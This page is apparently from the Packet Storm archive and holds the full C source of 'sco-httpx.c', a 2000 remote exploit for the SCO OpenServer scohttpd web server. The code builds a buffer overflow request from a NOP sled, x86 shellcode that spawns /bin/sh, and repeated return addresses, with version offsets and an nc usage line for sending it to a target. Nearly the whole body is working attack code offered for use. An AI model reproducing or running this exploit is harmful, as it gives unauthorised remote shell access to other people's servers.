exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

sco-httpx.c

sco-httpx.c
Posted Sep 28, 2000

Scounix httpd Remote Exploit.

tags | exploit, remote
SHA-256 | 2c39cd377679ecd20589d8a506037fa51a0ab54473f32e86a9cb4167b478f1b9

sco-httpx.c

Change Mirror Download
/*
* <scohttpx.c> Remote exploit
*
* Offset: /var/scohttp/scohttpd
* 0 -> OpenServer 5.0.4
* 0 -> OpenServer 5.0.2
* 600 -> OpenServer 5.0.5
*
* scosysv:~# /var/scohttp/scohttpd -v
* scohttpd version NCSA/1.3.
*
* Usage:
* $ cc scohttpx.c -o scohttpx
* $ (scohttpx 0;cat) | nc 1.1.1.1 457
*/

#include <stdlib.h>
#include <stdio.h>

char hell[]=
"\xeb\x1b" // start: jmp uno
"\x5e" // dos: popl %esi
"\x31\xdb" // xorl %ebx,%ebx
"\x89\x5e\x07" // movb %bl,0x7(%esi)
"\x89\x5e\x0c" // movl %ebx,0x0c(%esi)
"\x88\x5e\x11" // movb %bl,0x11(%esi)
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3b" // movb $0x3b,%al
"\x8d\x7e\x07" // leal 0x07(%esi),%edi
"\x89\xf9" // movl %edi,%ecx
"\x53" // pushl %ebx
"\x51" // pushl %ecx
"\x56" // pushl %esi
"\x56" // pushl %esi
"\xeb\x10" // jmp execve
"\xe8\xe0\xff\xff\xff" // uno: call dos
"/bin/sh"
"\xaa\xaa\xaa\xaa"
"\x9a\xaa\xaa\xaa\xaa\x07\xaa"; // execve: lcall 0x7,0x0

#define OFF 0x803d688 // SCO OpenServer 5.0.4
#define ALINEA 3
#define LEN 400

int main(int argc, char *argv[]) {
int offset=0;
char buf[LEN];
int i;

if(argc < 2) {
printf("Usage: scohttpx <offset>\n");
exit(0);
}
else {
offset=atoi(argv[1]);
}

memset(buf,0x90,LEN);
memcpy(buf+140,hell,strlen(hell));
for(i=200+ALINEA;i<LEN-4;i+=4)
*(int *)&buf[i]=OFF+offset;

printf("GET ");

for(i=0;i<LEN;i++)
putchar(buf[i]);

putchar('\n');
exit(0);
}
/* www.hack.co.za [26 September 2000]*/
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close